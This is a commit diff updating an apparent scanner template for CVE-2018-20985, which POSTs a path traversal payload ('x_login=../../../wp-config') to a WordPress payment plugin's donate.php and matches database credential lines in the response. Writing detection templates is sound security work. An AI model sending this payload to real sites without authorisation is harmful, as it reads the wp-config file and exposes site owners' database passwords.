Update CVE-2018-20985.yaml

cves/2018/CVE-2018-20985.yaml

@@ -15,14 +15,16 @@ requests:
     path:
       - "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php"
 
-    body: "x_login=../../../../wp-config"
+    body: "x_login=../../../wp-config"
 
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - DB_NAME
-          - WPENGINE_ACCOUNT
+          - "The base configuration for WordPress"
+          - "define( 'DB_NAME',"
+          - "define( 'DB_PASSWORD',"
+        condition: and
         part: body
       - type: status
         status: